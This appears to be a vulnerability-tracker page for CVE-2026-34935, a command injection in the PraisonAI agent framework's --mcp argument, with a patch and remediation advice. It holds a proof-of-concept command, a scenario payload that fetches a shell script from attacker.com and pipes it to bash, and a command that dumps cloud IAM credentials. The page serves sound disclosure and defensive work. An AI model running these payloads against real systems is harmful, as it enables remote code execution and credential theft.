Python
CVE-2026-34935
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPass malicious command via --mcp CLI argument
-
ExploitForward unsanitized input through call chain
-
ImpactExecute arbitrary OS command via anyio.open_process()
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit by passing malicious strings to the |
| Impact | This is a maximum-severity command injection vulnerability warranting immediate prioritization. The CVSS 9.8 score accurately reflects the critical risk profile: Network attack vector (AV:N) means exploitation requires no local access, Low complexity (AC:L) indicates trivial exploitation with basic shell knowledge, No privileges required (PR:N) removes authentication barriers, No user interaction (UI:N) enables fully automated attacks, and the impact triad of High confidentiality/integrity/availability captures full system compromise potential. The proof-of-concept in the GitHub advisory demonstrates exploitability with a single CLI invocation. While not currently listed in CISA KEV (no confirmed active exploitation in the wild), the combination of trivial exploitation, public PoC availability, and the nature of AI agent frameworks (often deployed in automation contexts with elevated privileges) creates significant real-world risk. SSVC decision framework yields immediate action: exploitation is PoC-ready (not just theoretical), the vulnerability is fully automatable (no human interaction barriers), and technical impact is total (arbitrary code execution). Organizations using PraisonAI in production, especially in containerized or API-wrapped deployments, face critical risk if the --mcp parameter can be influenced by external sources including configuration files, environment variables, API requests, or orchestration templates. |
| Exploit ScenarioDerived | An attacker identifies a web application or API endpoint that wraps the PraisonAI CLI and accepts user input for MCP server configuration. The attacker crafts a malicious API request containing a payload like --mcp 'bash -c curl http://attacker.com/shell.sh | bash' which bypasses the intended MCP server launch and executes arbitrary commands. Because the vulnerability requires no authentication (PR:N) and operates at network level (AV:N), the attacker can automate exploitation against internet-facing PraisonAI deployments. In containerized environments with cloud metadata services, the attacker pivots to steal IAM credentials via --mcp 'curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/creds'. The GitHub advisory includes a working proof-of-concept demonstrating command execution through the --mcp vector, confirming the attack is practical and reproducible with minimal technical sophistication. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 02, 2026
Arbitrary OS command execution in PraisonAI (Python package) versions prior to 4.5.69 allows remote unauthenticated attackers to execute commands as the process user via the unsanitized --mcp CLI argument. The vulnerability stems from passing user-controlled input directly to shlex.split() and anyio.open_process() without validation. CVSS 9.8 (Critical). Vendor-released patch available in version 4.5.69 (commit 47bff65). No public exploit code independently confirmed beyond the GitHub advisory PoC, and not listed in CISA KEV at time of analysis.
RemediationAI
Immediately upgrade to PraisonAI version 4.5.69 or later, which introduces command allowlist validation restricting --mcp to approved executables (npx, uvx, node, python) as implemented in commit 47bff65413beaa3c21bf633c1fae4e684348368c. Verify the fix is present by checking that ALLOWED_COMMANDS validation exists in praisonaiagents/mcp/mcp.py. For environments unable to upgrade immediately, implement defense-in-depth controls: remove or disable the --mcp CLI argument if MCP integration is not required, restrict CLI execution to trusted administrators only, run PraisonAI processes under least-privilege user accounts with no shell access, deploy in isolated containers with restricted process execution capabilities (seccomp/AppArmor profiles blocking exec syscalls), and implement input validation at the application layer before any CLI invocation. Review logs for suspicious --mcp usage patterns including shell metacharacters (backticks, semicolons, pipes) or unexpected command names. Patch deployment advisory and commit details at https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PraisonAI is a Python-based AI agent framework distributed via PyPI. The vulnerability exists in the Model Context Protocol (MCP) integration path spanning three modules: cli/features/mcp.py (entry point), praisonaiagents/mcp/mcp.py (parameter forwarding), and mcp/client/stdio/__init__.py (process execution sink). The --mcp argument accepts a command string intended for launching MCP server processes. The implementation uses shlex.split() to tokenize the command, but critically fails to validate the resulting command name or arguments before passing them to anyio.open_process(), a wrapper around subprocess execution. This creates a classic command injection vulnerability (CWE-78) where shell metacharacters and arbitrary commands can be injected. The attack surface is any deployment where the CLI is exposed to untrusted input sources, including web APIs wrapping the CLI, containerized services, or scheduled tasks processing external data. The affected package identifier is pkg:pip/praisonai, impacting all versions before the 4.5.69 security release.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI) · only source for this CVE.
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
Lifecycle Timeline
3DescriptionCVE.org
Summary
The --mcp CLI argument is passed directly to shlex.split() and forwarded through the call chain to anyio.open_process() with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user.
Details
cli/features/mcp.py:61 (source) -> praisonaiagents/mcp/mcp.py:345 (hop) -> mcp/client/stdio/__init__.py:253 (sink)
# source
parts = shlex.split(command)
# hop
cmd, args, env = self.parse_mcp_command(command, env_vars)
self.server_params = StdioServerParameters(command=cmd, args=arguments)
# sink
process = await anyio.open_process([command, *args])
Fixed in commit 47bff65413beaa3c21bf633c1fae4e684348368c (v4.5.69) by introducing a command allowlist:
ALLOWED_COMMANDS = {"npx", "uvx", "node", "python"}
if cmd not in ALLOWED_COMMANDS:
raise ValueError(f"Disallowed command: {cmd}")PoC
# tested on: praisonai==4.5.48
# install: pip install praisonai==4.5.48
# run: praisonai --mcp "bash -c 'id > /tmp/pwned'"
# verify: cat /tmp/pwned
# expected output: uid=1000(...) gid=1000(...) groups=1000(...)Impact
Any deployment where the --mcp argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.
Executive ViewAI
PraisonAI versions before 4.5.69 contain a critical remote command execution vulnerability in the --mcp CLI argument that allows unauthenticated attackers to execute arbitrary operating system commands with the privileges of the application process. Organizations using PraisonAI for AI agent orchestration face immediate risk of full system compromise and lateral movement if the application is exposed to untrusted input or network access.
Apply vendor patch. If immediate patching is not feasible, restrict network access to PraisonAI CLI interfaces to trusted internal networks only, disable or remove the --mcp argument functionality if not required for operations, and implement strict input validation and allowlisting on any code that constructs PraisonAI CLI commands.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-9gm9-c8mq-vq7m
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB